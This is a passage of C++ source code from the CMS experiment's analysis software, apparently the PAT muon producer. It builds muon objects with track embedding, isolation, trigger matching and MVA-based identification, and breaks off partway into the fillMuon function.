#include "DataFormats/Math/interface/deltaR.h"
#include "DataFormats/Math/interface/deltaPhi.h"
#include "Geometry/Records/interface/GlobalTrackingGeometryRecord.h"
#include "Geometry/CommonDetUnit/interface/GeomDet.h"
#include <vector>
#include <memory>
using namespace pat;
using namespace std;
PATMuonHeavyObjectCache::PATMuonHeavyObjectCache(const edm::ParameterSet& iConfig) {
if (iConfig.getParameter<bool>("computeMuonMVA")) {
edm::FileInPath mvaTrainingFile = iConfig.getParameter<edm::FileInPath>("mvaTrainingFile");
edm::FileInPath mvaLowPtTrainingFile = iConfig.getParameter<edm::FileInPath>("lowPtmvaTrainingFile");
float mvaDrMax = iConfig.getParameter<double>("mvaDrMax");
muonMvaEstimator_ = std::make_unique<MuonMvaEstimator>(mvaTrainingFile, mvaDrMax);
muonLowPtMvaEstimator_ = std::make_unique<MuonMvaEstimator>(mvaLowPtTrainingFile, mvaDrMax);
}
if (iConfig.getParameter<bool>("computeSoftMuonMVA")) {
edm::FileInPath softMvaTrainingFile = iConfig.getParameter<edm::FileInPath>("softMvaTrainingFile");
softMuonMvaEstimator_ = std::make_unique<SoftMuonMvaEstimator>(softMvaTrainingFile);
}
}
PATMuonProducer::PATMuonProducer(const edm::ParameterSet& iConfig, PATMuonHeavyObjectCache const*)
: relMiniIsoPUCorrected_(0),
useUserData_(iConfig.exists("userData")),
computeMuonMVA_(false),
computeSoftMuonMVA_(false),
recomputeBasicSelectors_(false),
mvaUseJec_(false),
isolator_(iConfig.exists("userIsolation") ? iConfig.getParameter<edm::ParameterSet>("userIsolation")
: edm::ParameterSet(),
consumesCollector(),
false) {
// input source
muonToken_ = consumes<edm::View<reco::Muon>>(iConfig.getParameter<edm::InputTag>("muonSource"));
// embedding of tracks
embedBestTrack_ = iConfig.getParameter<bool>("embedMuonBestTrack");
embedTunePBestTrack_ = iConfig.getParameter<bool>("embedTunePMuonBestTrack");
forceEmbedBestTrack_ = iConfig.getParameter<bool>("forceBestTrackEmbedding");
embedTrack_ = iConfig.getParameter<bool>("embedTrack");
embedCombinedMuon_ = iConfig.getParameter<bool>("embedCombinedMuon");
embedStandAloneMuon_ = iConfig.getParameter<bool>("embedStandAloneMuon");
// embedding of muon MET correction information
embedCaloMETMuonCorrs_ = iConfig.getParameter<bool>("embedCaloMETMuonCorrs");
embedTcMETMuonCorrs_ = iConfig.getParameter<bool>("embedTcMETMuonCorrs");
caloMETMuonCorrsToken_ =
mayConsume<edm::ValueMap<reco::MuonMETCorrectionData>>(iConfig.getParameter<edm::InputTag>("caloMETMuonCorrs"));
tcMETMuonCorrsToken_ =
mayConsume<edm::ValueMap<reco::MuonMETCorrectionData>>(iConfig.getParameter<edm::InputTag>("tcMETMuonCorrs"));
// pflow specific configurables
useParticleFlow_ = iConfig.getParameter<bool>("useParticleFlow");
embedPFCandidate_ = iConfig.getParameter<bool>("embedPFCandidate");
pfMuonToken_ = mayConsume<reco::PFCandidateCollection>(iConfig.getParameter<edm::InputTag>("pfMuonSource"));
embedPfEcalEnergy_ = iConfig.getParameter<bool>("embedPfEcalEnergy");
// embedding of tracks from TeV refit
embedPickyMuon_ = iConfig.getParameter<bool>("embedPickyMuon");
embedTpfmsMuon_ = iConfig.getParameter<bool>("embedTpfmsMuon");
embedDytMuon_ = iConfig.getParameter<bool>("embedDytMuon");
// embedding of inverse beta variable information
addInverseBeta_ = iConfig.getParameter<bool>("addInverseBeta");
if (addInverseBeta_) {
muonTimeExtraToken_ =
consumes<edm::ValueMap<reco::MuonTimeExtra>>(iConfig.getParameter<edm::InputTag>("sourceMuonTimeExtra"));
}
// Monte Carlo matching
addGenMatch_ = iConfig.getParameter<bool>("addGenMatch");
if (addGenMatch_) {
embedGenMatch_ = iConfig.getParameter<bool>("embedGenMatch");
if (iConfig.existsAs<edm::InputTag>("genParticleMatch")) {
genMatchTokens_.push_back(consumes<edm::Association<reco::GenParticleCollection>>(
iConfig.getParameter<edm::InputTag>("genParticleMatch")));
} else {
genMatchTokens_ = edm::vector_transform(
iConfig.getParameter<std::vector<edm::InputTag>>("genParticleMatch"),
[this](edm::InputTag const& tag) { return consumes<edm::Association<reco::GenParticleCollection>>(tag); });
}
}
// efficiencies
addEfficiencies_ = iConfig.getParameter<bool>("addEfficiencies");
if (addEfficiencies_) {
efficiencyLoader_ =
pat::helper::EfficiencyLoader(iConfig.getParameter<edm::ParameterSet>("efficiencies"), consumesCollector());
}
// resolutions
addResolutions_ = iConfig.getParameter<bool>("addResolutions");
if (addResolutions_) {
resolutionLoader_ = pat::helper::KinResolutionsLoader(iConfig.getParameter<edm::ParameterSet>("resolutions"));
}
// puppi
addPuppiIsolation_ = iConfig.getParameter<bool>("addPuppiIsolation");
if (addPuppiIsolation_) {
PUPPIIsolation_charged_hadrons_ =
consumes<edm::ValueMap<float>>(iConfig.getParameter<edm::InputTag>("puppiIsolationChargedHadrons"));
PUPPIIsolation_neutral_hadrons_ =
consumes<edm::ValueMap<float>>(iConfig.getParameter<edm::InputTag>("puppiIsolationNeutralHadrons"));
PUPPIIsolation_photons_ =
consumes<edm::ValueMap<float>>(iConfig.getParameter<edm::InputTag>("puppiIsolationPhotons"));
//puppiNoLeptons
PUPPINoLeptonsIsolation_charged_hadrons_ =
consumes<edm::ValueMap<float>>(iConfig.getParameter<edm::InputTag>("puppiNoLeptonsIsolationChargedHadrons"));
PUPPINoLeptonsIsolation_neutral_hadrons_ =
consumes<edm::ValueMap<float>>(iConfig.getParameter<edm::InputTag>("puppiNoLeptonsIsolationNeutralHadrons"));
PUPPINoLeptonsIsolation_photons_ =
consumes<edm::ValueMap<float>>(iConfig.getParameter<edm::InputTag>("puppiNoLeptonsIsolationPhotons"));
}
// read isoDeposit labels, for direct embedding
readIsolationLabels(iConfig, "isoDeposits", isoDepositLabels_, isoDepositTokens_);
// read isolation value labels, for direct embedding
readIsolationLabels(iConfig, "isolationValues", isolationValueLabels_, isolationValueTokens_);
// check to see if the user wants to add user data
if (useUserData_) {
userDataHelper_ = PATUserDataHelper<Muon>(iConfig.getParameter<edm::ParameterSet>("userData"), consumesCollector());
}
// embed high level selection variables
embedHighLevelSelection_ = iConfig.getParameter<bool>("embedHighLevelSelection");
if (embedHighLevelSelection_) {
beamLineToken_ = consumes<reco::BeamSpot>(iConfig.getParameter<edm::InputTag>("beamLineSrc"));
pvToken_ = consumes<std::vector<reco::Vertex>>(iConfig.getParameter<edm::InputTag>("pvSrc"));
}
//for mini-isolation calculation
computeMiniIso_ = iConfig.getParameter<bool>("computeMiniIso");
computePuppiCombinedIso_ = iConfig.getParameter<bool>("computePuppiCombinedIso");
effectiveAreaVec_ = iConfig.getParameter<std::vector<double>>("effectiveAreaVec");
miniIsoParams_ = iConfig.getParameter<std::vector<double>>("miniIsoParams");
if (computeMiniIso_ && miniIsoParams_.size() != 9) {
throw cms::Exception("ParameterError") << "miniIsoParams must have exactly 9 elements.\n";
}
if (computeMiniIso_ || computePuppiCombinedIso_)
pcToken_ = consumes<pat::PackedCandidateCollection>(iConfig.getParameter<edm::InputTag>("pfCandsForMiniIso"));
// standard selectors
recomputeBasicSelectors_ = iConfig.getParameter<bool>("recomputeBasicSelectors");
computeMuonMVA_ = iConfig.getParameter<bool>("computeMuonMVA");
if (computeMuonMVA_ and not computeMiniIso_)
throw cms::Exception("ConfigurationError") << "MiniIso is needed for Muon MVA calculation.\n";
if (computeMuonMVA_) {
// pfCombinedInclusiveSecondaryVertexV2BJetTags
mvaBTagCollectionTag_ = consumes<reco::JetTagCollection>(iConfig.getParameter<edm::InputTag>("mvaJetTag"));
mvaL1Corrector_ = consumes<reco::JetCorrector>(iConfig.getParameter<edm::InputTag>("mvaL1Corrector"));
mvaL1L2L3ResCorrector_ = consumes<reco::JetCorrector>(iConfig.getParameter<edm::InputTag>("mvaL1L2L3ResCorrector"));
rho_ = consumes<double>(iConfig.getParameter<edm::InputTag>("rho"));
mvaUseJec_ = iConfig.getParameter<bool>("mvaUseJec");
}
computeSoftMuonMVA_ = iConfig.getParameter<bool>("computeSoftMuonMVA");
// MC info
simInfo_ = consumes<edm::ValueMap<reco::MuonSimInfo>>(iConfig.getParameter<edm::InputTag>("muonSimInfo"));
addTriggerMatching_ = iConfig.getParameter<bool>("addTriggerMatching");
if (addTriggerMatching_) {
triggerObjects_ =
consumes<std::vector<pat::TriggerObjectStandAlone>>(iConfig.getParameter<edm::InputTag>("triggerObjects"));
triggerResults_ = consumes<edm::TriggerResults>(iConfig.getParameter<edm::InputTag>("triggerResults"));
}
hltCollectionFilters_ = iConfig.getParameter<std::vector<std::string>>("hltCollectionFilters");
// produces vector of muons
produces<std::vector<Muon>>();
}
PATMuonProducer::~PATMuonProducer() {}
std::optional<GlobalPoint> PATMuonProducer::getMuonDirection(const reco::MuonChamberMatch& chamberMatch,
const edm::ESHandle<GlobalTrackingGeometry>& geometry,
const DetId& chamberId) {
const GeomDet* chamberGeometry = geometry->idToDet(chamberId);
if (chamberGeometry) {
LocalPoint localPosition(chamberMatch.x, chamberMatch.y, 0);
return std::optional<GlobalPoint>(std::in_place, chamberGeometry->toGlobal(localPosition));
}
return std::optional<GlobalPoint>();
}
void PATMuonProducer::fillL1TriggerInfo(pat::Muon& aMuon,
edm::Handle<std::vector<pat::TriggerObjectStandAlone>>& triggerObjects,
const edm::TriggerNames& names,
const edm::ESHandle<GlobalTrackingGeometry>& geometry) {
// L1 trigger object parameters are defined at MB2/ME2. Use the muon
// chamber matching information to get the local direction of the
// muon trajectory and convert it to a global direction to match the
// trigger objects
std::optional<GlobalPoint> muonPosition;
// Loop over chambers
// initialize muonPosition with any available match, just in case
// the second station is missing - it's better folling back to
// dR matching at IP
for (const auto& chamberMatch : aMuon.matches()) {
if (chamberMatch.id.subdetId() == MuonSubdetId::DT) {
DTChamberId detId(chamberMatch.id.rawId());
if (abs(detId.station()) > 3)
continue;
muonPosition = getMuonDirection(chamberMatch, geometry, detId);
if (abs(detId.station()) == 2)
break;
}
if (chamberMatch.id.subdetId() == MuonSubdetId::CSC) {
CSCDetId detId(chamberMatch.id.rawId());
if (abs(detId.station()) > 3)
continue;
muonPosition = getMuonDirection(chamberMatch, geometry, detId);
if (abs(detId.station()) == 2)
break;
}
}
if (not muonPosition)
return;
for (const auto& triggerObject : *triggerObjects) {
if (triggerObject.hasTriggerObjectType(trigger::TriggerL1Mu)) {
if (fabs(triggerObject.eta()) < 0.001) {
// L1 is defined in X-Y plain
if (deltaPhi(triggerObject.phi(), muonPosition->phi()) > 0.1)
continue;
} else {
// 3D L1
if (deltaR(triggerObject.p4(), *muonPosition) > 0.15)
continue;
}
pat::TriggerObjectStandAlone obj(triggerObject);
obj.unpackPathNames(names);
aMuon.addTriggerObjectMatch(obj);
}
}
}
void PATMuonProducer::fillHltTriggerInfo(pat::Muon& muon,
edm::Handle<std::vector<pat::TriggerObjectStandAlone>>& triggerObjects,
const edm::TriggerNames& names,
const std::vector<std::string>& collection_filter_names) {
// WARNING: in a case of close-by muons the dR matching may select both muons.
// It's better to select the best match for a given collection.
for (const auto& triggerObject : *triggerObjects) {
if (triggerObject.hasTriggerObjectType(trigger::TriggerMuon)) {
bool keepIt = false;
for (const auto& name : collection_filter_names) {
if (triggerObject.hasCollection(name)) {
keepIt = true;
break;
}
}
if (not keepIt)
continue;
if (deltaR(triggerObject.p4(), muon) > 0.1)
continue;
pat::TriggerObjectStandAlone obj(triggerObject);
obj.unpackPathNames(names);
muon.addTriggerObjectMatch(obj);
}
}
}
void PATMuonProducer::produce(edm::Event& iEvent, const edm::EventSetup& iSetup) {
// get the tracking Geometry
edm::ESHandle<GlobalTrackingGeometry> geometry;
iSetup.get<GlobalTrackingGeometryRecord>().get(geometry);
if (!geometry.isValid())
throw cms::Exception("FatalError") << "Unable to find GlobalTrackingGeometryRecord in event!\n";
// switch off embedding (in unschedules mode)
if (iEvent.isRealData()) {
addGenMatch_ = false;
embedGenMatch_ = false;
}
edm::Handle<edm::View<reco::Muon>> muons;
iEvent.getByToken(muonToken_, muons);
edm::Handle<pat::PackedCandidateCollection> pc;
if (computeMiniIso_ || computePuppiCombinedIso_)
iEvent.getByToken(pcToken_, pc);
// get the ESHandle for the transient track builder,
// if needed for high level selection embedding
edm::ESHandle<TransientTrackBuilder> trackBuilder;
if (isolator_.enabled())
isolator_.beginEvent(iEvent, iSetup);
if (efficiencyLoader_.enabled())
efficiencyLoader_.newEvent(iEvent);
if (resolutionLoader_.enabled())
resolutionLoader_.newEvent(iEvent, iSetup);
IsoDepositMaps deposits(isoDepositTokens_.size());
for (size_t j = 0; j < isoDepositTokens_.size(); ++j) {
iEvent.getByToken(isoDepositTokens_[j], deposits[j]);
}
IsolationValueMaps isolationValues(isolationValueTokens_.size());
for (size_t j = 0; j < isolationValueTokens_.size(); ++j) {
iEvent.getByToken(isolationValueTokens_[j], isolationValues[j]);
}
//value maps for puppi isolation
edm::Handle<edm::ValueMap<float>> PUPPIIsolation_charged_hadrons;
edm::Handle<edm::ValueMap<float>> PUPPIIsolation_neutral_hadrons;
edm::Handle<edm::ValueMap<float>> PUPPIIsolation_photons;
//value maps for puppiNoLeptons isolation
edm::Handle<edm::ValueMap<float>> PUPPINoLeptonsIsolation_charged_hadrons;
edm::Handle<edm::ValueMap<float>> PUPPINoLeptonsIsolation_neutral_hadrons;
edm::Handle<edm::ValueMap<float>> PUPPINoLeptonsIsolation_photons;
if (addPuppiIsolation_) {
//puppi
iEvent.getByToken(PUPPIIsolation_charged_hadrons_, PUPPIIsolation_charged_hadrons);
iEvent.getByToken(PUPPIIsolation_neutral_hadrons_, PUPPIIsolation_neutral_hadrons);
iEvent.getByToken(PUPPIIsolation_photons_, PUPPIIsolation_photons);
//puppiNoLeptons
iEvent.getByToken(PUPPINoLeptonsIsolation_charged_hadrons_, PUPPINoLeptonsIsolation_charged_hadrons);
iEvent.getByToken(PUPPINoLeptonsIsolation_neutral_hadrons_, PUPPINoLeptonsIsolation_neutral_hadrons);
iEvent.getByToken(PUPPINoLeptonsIsolation_photons_, PUPPINoLeptonsIsolation_photons);
}
// inputs for muon mva
edm::Handle<reco::JetTagCollection> mvaBTagCollectionTag;
edm::Handle<reco::JetCorrector> mvaL1Corrector;
edm::Handle<reco::JetCorrector> mvaL1L2L3ResCorrector;
if (computeMuonMVA_) {
iEvent.getByToken(mvaBTagCollectionTag_, mvaBTagCollectionTag);
iEvent.getByToken(mvaL1Corrector_, mvaL1Corrector);
iEvent.getByToken(mvaL1L2L3ResCorrector_, mvaL1L2L3ResCorrector);
}
// prepare the MC genMatchTokens_
GenAssociations genMatches(genMatchTokens_.size());
if (addGenMatch_) {
for (size_t j = 0, nd = genMatchTokens_.size(); j < nd; ++j) {
iEvent.getByToken(genMatchTokens_[j], genMatches[j]);
}
}
// prepare the high level selection: needs beamline
// OR primary vertex, depending on user selection
reco::Vertex primaryVertex;
reco::BeamSpot beamSpot;
bool beamSpotIsValid = false;
bool primaryVertexIsValid = false;
if (embedHighLevelSelection_) {
// get the beamspot
edm::Handle<reco::BeamSpot> beamSpotHandle;
iEvent.getByToken(beamLineToken_, beamSpotHandle);
// get the primary vertex
edm::Handle<std::vector<reco::Vertex>> pvHandle;
iEvent.getByToken(pvToken_, pvHandle);
if (beamSpotHandle.isValid()) {
beamSpot = *beamSpotHandle;
beamSpotIsValid = true;
} else {
edm::LogError("DataNotAvailable") << "No beam spot available from EventSetup, not adding high level selection \n";
}
if (pvHandle.isValid() && !pvHandle->empty()) {
primaryVertex = pvHandle->at(0);
primaryVertexIsValid = true;
} else {
edm::LogError("DataNotAvailable")
<< "No primary vertex available from EventSetup, not adding high level selection \n";
}
// this is needed by the IPTools methods from the tracking group
iSetup.get<TransientTrackRecord>().get("TransientTrackBuilder", trackBuilder);
}
// MC info
edm::Handle<edm::ValueMap<reco::MuonSimInfo>> simInfo;
bool simInfoIsAvailalbe = iEvent.getByToken(simInfo_, simInfo);
// this will be the new object collection
std::vector<Muon>* patMuons = new std::vector<Muon>();
edm::Handle<reco::PFCandidateCollection> pfMuons;
if (useParticleFlow_) {
// get the PFCandidates of type muons
iEvent.getByToken(pfMuonToken_, pfMuons);
unsigned index = 0;
for (reco::PFCandidateConstIterator i = pfMuons->begin(); i != pfMuons->end(); ++i, ++index) {
const reco::PFCandidate& pfmu = *i;
//const reco::IsolaPFCandidate& pfmu = *i;
const reco::MuonRef& muonRef = pfmu.muonRef();
assert(muonRef.isNonnull());
MuonBaseRef muonBaseRef(muonRef);
Muon aMuon(muonBaseRef);
if (useUserData_) {
userDataHelper_.add(aMuon, iEvent, iSetup);
}
// embed high level selection
if (embedHighLevelSelection_) {
// get the tracks
reco::TrackRef innerTrack = muonBaseRef->innerTrack();
reco::TrackRef globalTrack = muonBaseRef->globalTrack();
reco::TrackRef bestTrack = muonBaseRef->muonBestTrack();
reco::TrackRef chosenTrack = innerTrack;
// Make sure the collection it points to is there
if (bestTrack.isNonnull() && bestTrack.isAvailable())
chosenTrack = bestTrack;
if (chosenTrack.isNonnull() && chosenTrack.isAvailable()) {
unsigned int nhits = chosenTrack->numberOfValidHits(); // ????
aMuon.setNumberOfValidHits(nhits);
reco::TransientTrack tt = trackBuilder->build(chosenTrack);
embedHighLevel(aMuon, chosenTrack, tt, primaryVertex, primaryVertexIsValid, beamSpot, beamSpotIsValid);
}
if (globalTrack.isNonnull() && globalTrack.isAvailable() && !embedCombinedMuon_) {
double norm_chi2 = globalTrack->chi2() / globalTrack->ndof();
aMuon.setNormChi2(norm_chi2);
}
}
reco::PFCandidateRef pfRef(pfMuons, index);
//reco::PFCandidatePtr ptrToMother(pfMuons,index);
reco::CandidateBaseRef pfBaseRef(pfRef);
aMuon.setPFCandidateRef(pfRef);
if (embedPFCandidate_)
aMuon.embedPFCandidate();
fillMuon(aMuon, muonBaseRef, pfBaseRef, genMatches, deposits, isolationValues);
if (computeMiniIso_)
setMuonMiniIso(aMuon, pc.product());
if (addPuppiIsolation_) {
aMuon.setIsolationPUPPI((*PUPPIIsolation_charged_hadrons)[muonBaseRef],
(*PUPPIIsolation_neutral_hadrons)[muonBaseRef],
(*PUPPIIsolation_photons)[muonBaseRef]);
aMuon.setIsolationPUPPINoLeptons((*PUPPINoLeptonsIsolation_charged_hadrons)[muonBaseRef],
(*PUPPINoLeptonsIsolation_neutral_hadrons)[muonBaseRef],
(*PUPPINoLeptonsIsolation_photons)[muonBaseRef]);
} else {
aMuon.setIsolationPUPPI(-999., -999., -999.);
aMuon.setIsolationPUPPINoLeptons(-999., -999., -999.);
}
if (embedPfEcalEnergy_) {
aMuon.setPfEcalEnergy(pfmu.ecalEnergy());
}
patMuons->push_back(aMuon);
}
} else {
edm::Handle<edm::View<reco::Muon>> muons;
iEvent.getByToken(muonToken_, muons);
// embedding of muon MET corrections
edm::Handle<edm::ValueMap<reco::MuonMETCorrectionData>> caloMETMuonCorrs;
//edm::ValueMap<reco::MuonMETCorrectionData> caloMETmuCorValueMap;
if (embedCaloMETMuonCorrs_) {
iEvent.getByToken(caloMETMuonCorrsToken_, caloMETMuonCorrs);
//caloMETmuCorValueMap = *caloMETmuCorValueMap_h;
}
edm::Handle<edm::ValueMap<reco::MuonMETCorrectionData>> tcMETMuonCorrs;
//edm::ValueMap<reco::MuonMETCorrectionData> tcMETmuCorValueMap;
if (embedTcMETMuonCorrs_) {
iEvent.getByToken(tcMETMuonCorrsToken_, tcMETMuonCorrs);
//tcMETmuCorValueMap = *tcMETmuCorValueMap_h;
}
if (embedPfEcalEnergy_) {
// get the PFCandidates of type muons
iEvent.getByToken(pfMuonToken_, pfMuons);
}
edm::Handle<edm::ValueMap<reco::MuonTimeExtra>> muonsTimeExtra;
if (addInverseBeta_) {
// get MuonTimerExtra value map
iEvent.getByToken(muonTimeExtraToken_, muonsTimeExtra);
}
for (edm::View<reco::Muon>::const_iterator itMuon = muons->begin(); itMuon != muons->end(); ++itMuon) {
// construct the Muon from the ref -> save ref to original object
unsigned int idx = itMuon - muons->begin();
MuonBaseRef muonRef = muons->refAt(idx);
reco::CandidateBaseRef muonBaseRef(muonRef);
Muon aMuon(muonRef);
fillMuon(aMuon, muonRef, muonBaseRef, genMatches, deposits, isolationValues);
if (computeMiniIso_)
setMuonMiniIso(aMuon, pc.product());
if (addPuppiIsolation_) {
aMuon.setIsolationPUPPI((*PUPPIIsolation_charged_hadrons)[muonRef],
(*PUPPIIsolation_neutral_hadrons)[muonRef],
(*PUPPIIsolation_photons)[muonRef]);
aMuon.setIsolationPUPPINoLeptons((*PUPPINoLeptonsIsolation_charged_hadrons)[muonRef],
(*PUPPINoLeptonsIsolation_neutral_hadrons)[muonRef],
(*PUPPINoLeptonsIsolation_photons)[muonRef]);
} else {
aMuon.setIsolationPUPPI(-999., -999., -999.);
aMuon.setIsolationPUPPINoLeptons(-999., -999., -999.);
}
// Isolation
if (isolator_.enabled()) {
//reco::CandidatePtr mother = ptrToMother->sourceCandidatePtr(0);
isolator_.fill(*muons, idx, isolatorTmpStorage_);
typedef pat::helper::MultiIsolator::IsolationValuePairs IsolationValuePairs;
// better to loop backwards, so the vector is resized less times
for (IsolationValuePairs::const_reverse_iterator it = isolatorTmpStorage_.rbegin(),
ed = isolatorTmpStorage_.rend();
it != ed;
++it) {
aMuon.setIsolation(it->first, it->second);
}
}
// for (size_t j = 0, nd = deposits.size(); j < nd; ++j) {
// aMuon.setIsoDeposit(isoDepositLabels_[j].first,
// (*deposits[j])[muonRef]);
// }
// add sel to selected
edm::Ptr<reco::Muon> muonsPtr = muons->ptrAt(idx);
if (useUserData_) {
userDataHelper_.add(aMuon, iEvent, iSetup);
}
// embed high level selection
if (embedHighLevelSelection_) {
// get the tracks
reco::TrackRef innerTrack = itMuon->innerTrack();
reco::TrackRef globalTrack = itMuon->globalTrack();
reco::TrackRef bestTrack = itMuon->muonBestTrack();
reco::TrackRef chosenTrack = innerTrack;
// Make sure the collection it points to is there
if (bestTrack.isNonnull() && bestTrack.isAvailable())
chosenTrack = bestTrack;
if (chosenTrack.isNonnull() && chosenTrack.isAvailable()) {
unsigned int nhits = chosenTrack->numberOfValidHits(); // ????
aMuon.setNumberOfValidHits(nhits);
reco::TransientTrack tt = trackBuilder->build(chosenTrack);
embedHighLevel(aMuon, chosenTrack, tt, primaryVertex, primaryVertexIsValid, beamSpot, beamSpotIsValid);
}
if (globalTrack.isNonnull() && globalTrack.isAvailable()) {
double norm_chi2 = globalTrack->chi2() / globalTrack->ndof();
aMuon.setNormChi2(norm_chi2);
}
}
// embed MET muon corrections
if (embedCaloMETMuonCorrs_)
aMuon.embedCaloMETMuonCorrs((*caloMETMuonCorrs)[muonRef]);
if (embedTcMETMuonCorrs_)
aMuon.embedTcMETMuonCorrs((*tcMETMuonCorrs)[muonRef]);
if (embedPfEcalEnergy_) {
aMuon.setPfEcalEnergy(-99.0);
for (const reco::PFCandidate& pfmu : *pfMuons) {
if (pfmu.muonRef().isNonnull()) {
if (pfmu.muonRef().id() != muonRef.id())
throw cms::Exception("Configuration")
<< "Muon reference within PF candidates does not point to the muon collection." << std::endl;
if (pfmu.muonRef().key() == muonRef.key()) {
aMuon.setPfEcalEnergy(pfmu.ecalEnergy());
}
}
}
}
if (addInverseBeta_) {
aMuon.readTimeExtra((*muonsTimeExtra)[muonRef]);
}
// MC info
aMuon.initSimInfo();
if (simInfoIsAvailalbe) {
const auto& msi = (*simInfo)[muonBaseRef];
aMuon.setSimType(msi.primaryClass);
aMuon.setExtSimType(msi.extendedClass);
aMuon.setSimFlavour(msi.flavour);
aMuon.setSimHeaviestMotherFlavour(msi.heaviestMotherFlavour);
aMuon.setSimPdgId(msi.pdgId);
aMuon.setSimMotherPdgId(msi.motherPdgId);
aMuon.setSimBX(msi.tpBX);
aMuon.setSimTpEvent(msi.tpEvent);
aMuon.setSimProdRho(msi.vertex.Rho());
aMuon.setSimProdZ(msi.vertex.Z());
aMuon.setSimPt(msi.p4.pt());
aMuon.setSimEta(msi.p4.eta());
aMuon.setSimPhi(msi.p4.phi());
aMuon.setSimMatchQuality(msi.tpAssoQuality);
}
patMuons->push_back(aMuon);
}
}
// sort muons in pt
std::sort(patMuons->begin(), patMuons->end(), pTComparator_);
// Store standard muon selection decisions and jet related
// quantaties.
// Need a separate loop over muons to have all inputs properly
// computed and stored in the object.
edm::Handle<double> rho;
if (computeMuonMVA_)
iEvent.getByToken(rho_, rho);
const reco::Vertex* pv(nullptr);
if (primaryVertexIsValid)
pv = &primaryVertex;
edm::Handle<std::vector<pat::TriggerObjectStandAlone>> triggerObjects;
edm::Handle<edm::TriggerResults> triggerResults;
bool triggerObjectsAvailable = false;
bool triggerResultsAvailable = false;
if (addTriggerMatching_) {
triggerObjectsAvailable = iEvent.getByToken(triggerObjects_, triggerObjects);
triggerResultsAvailable = iEvent.getByToken(triggerResults_, triggerResults);
}
for (auto& muon : *patMuons) {
// trigger info
if (addTriggerMatching_ and triggerObjectsAvailable and triggerResultsAvailable) {
const edm::TriggerNames& triggerNames(iEvent.triggerNames(*triggerResults));
fillL1TriggerInfo(muon, triggerObjects, triggerNames, geometry);
fillHltTriggerInfo(muon, triggerObjects, triggerNames, hltCollectionFilters_);
}
if (recomputeBasicSelectors_) {
muon.setSelectors(0);
bool isRun2016BCDEF = (272728 <= iEvent.run() && iEvent.run() <= 278808);
muon.setSelectors(muon::makeSelectorBitset(muon, pv, isRun2016BCDEF));
}
float miniIsoValue = -1;
if (computeMiniIso_) {
// MiniIsolation working points
miniIsoValue = getRelMiniIsoPUCorrected(muon, *rho, effectiveAreaVec_);
muon.setSelector(reco::Muon::MiniIsoLoose, miniIsoValue < 0.40);
muon.setSelector(reco::Muon::MiniIsoMedium, miniIsoValue < 0.20);
muon.setSelector(reco::Muon::MiniIsoTight, miniIsoValue < 0.10);
muon.setSelector(reco::Muon::MiniIsoVeryTight, miniIsoValue < 0.05);
}
double puppiCombinedIsolationPAT = -1;
if (computePuppiCombinedIso_) {
puppiCombinedIsolationPAT = puppiCombinedIsolation(muon, pc.product());
muon.setSelector(reco::Muon::PuppiIsoLoose, puppiCombinedIsolationPAT < 0.27);
muon.setSelector(reco::Muon::PuppiIsoMedium, puppiCombinedIsolationPAT < 0.22);
muon.setSelector(reco::Muon::PuppiIsoTight, puppiCombinedIsolationPAT < 0.12);
}
float jetPtRatio = 0.0;
float jetPtRel = 0.0;
float mva = 0.0;
float mva_lowpt = 0.0;
if (computeMuonMVA_ && primaryVertexIsValid && computeMiniIso_) {
if (mvaUseJec_) {
mva = globalCache()->muonMvaEstimator()->computeMva(muon,
primaryVertex,
*(mvaBTagCollectionTag.product()),
jetPtRatio,
jetPtRel,
miniIsoValue,
&*mvaL1Corrector,
&*mvaL1L2L3ResCorrector);
mva_lowpt = globalCache()->muonLowPtMvaEstimator()->computeMva(muon,
primaryVertex,
*(mvaBTagCollectionTag.product()),
jetPtRatio,
jetPtRel,
miniIsoValue,
&*mvaL1Corrector,
&*mvaL1L2L3ResCorrector);
} else {
mva = globalCache()->muonMvaEstimator()->computeMva(
muon, primaryVertex, *(mvaBTagCollectionTag.product()), jetPtRatio, jetPtRel, miniIsoValue);
mva_lowpt = globalCache()->muonLowPtMvaEstimator()->computeMva(
muon, primaryVertex, *(mvaBTagCollectionTag.product()), jetPtRatio, jetPtRel, miniIsoValue);
}
muon.setMvaValue(mva);
muon.setLowPtMvaValue(mva_lowpt);
muon.setJetPtRatio(jetPtRatio);
muon.setJetPtRel(jetPtRel);
// multi-isolation
if (computeMiniIso_) {
muon.setSelector(reco::Muon::MultiIsoMedium,
miniIsoValue < 0.11 && (muon.jetPtRatio() > 0.74 || muon.jetPtRel() > 6.8));
}
// MVA working points
// https://twiki.cern.ch/twiki/bin/viewauth/CMS/LeptonMVA
double dB2D = fabs(muon.dB(pat::Muon::PV2D));
double dB3D = fabs(muon.dB(pat::Muon::PV3D));
double edB3D = fabs(muon.edB(pat::Muon::PV3D));
double sip3D = edB3D > 0 ? dB3D / edB3D : 0.0;
double dz = fabs(muon.muonBestTrack()->dz(primaryVertex.position()));
// muon preselection
if (muon.pt() > 5 and muon.isLooseMuon() and muon.passed(reco::Muon::MiniIsoLoose) and sip3D < 8.0 and
dB2D < 0.05 and dz < 0.1) {
muon.setSelector(reco::Muon::MvaLoose, muon.mvaValue() > -0.60);
muon.setSelector(reco::Muon::MvaMedium, muon.mvaValue() > -0.20);
muon.setSelector(reco::Muon::MvaTight, muon.mvaValue() > 0.15);
muon.setSelector(reco::Muon::MvaVTight, muon.mvaValue() > 0.45);
muon.setSelector(reco::Muon::MvaVVTight, muon.mvaValue() > 0.9);
}
if (muon.pt() > 5 and muon.isLooseMuon() and sip3D < 4 and dB2D < 0.5 and dz < 1) {
muon.setSelector(reco::Muon::LowPtMvaLoose, muon.lowptMvaValue() > -0.60);
muon.setSelector(reco::Muon::LowPtMvaMedium, muon.lowptMvaValue() > -0.20);
}
}
//SOFT MVA
if (computeSoftMuonMVA_) {
float mva = globalCache()->softMuonMvaEstimator()->computeMva(muon);
muon.setSoftMvaValue(mva);
//preselection in SoftMuonMvaEstimator.cc
muon.setSelector(reco::Muon::SoftMvaId, muon.softMvaValue() > 0.58); //WP choose for bmm4
}
}
// put products in Event
std::unique_ptr<std::vector<Muon>> ptr(patMuons);
iEvent.put(std::move(ptr));
if (isolator_.enabled())
isolator_.endEvent();
}
void PATMuonProducer::fillMuon(Muon& aMuon,
const MuonBaseRef& muonRef,
const reco::CandidateBaseRef& baseRef,
const GenAssociations& genMatches,
const IsoDepositMaps& deposits,
const IsolationValueMaps& isolationValues) const {
// in the particle flow algorithm,
// the muon momentum is recomputed.
// the new value is stored as the momentum of the
// resulting PFCandidate of type Muon, and choosen
// as the pat::Muon momentum
if (useParticleFlow_)
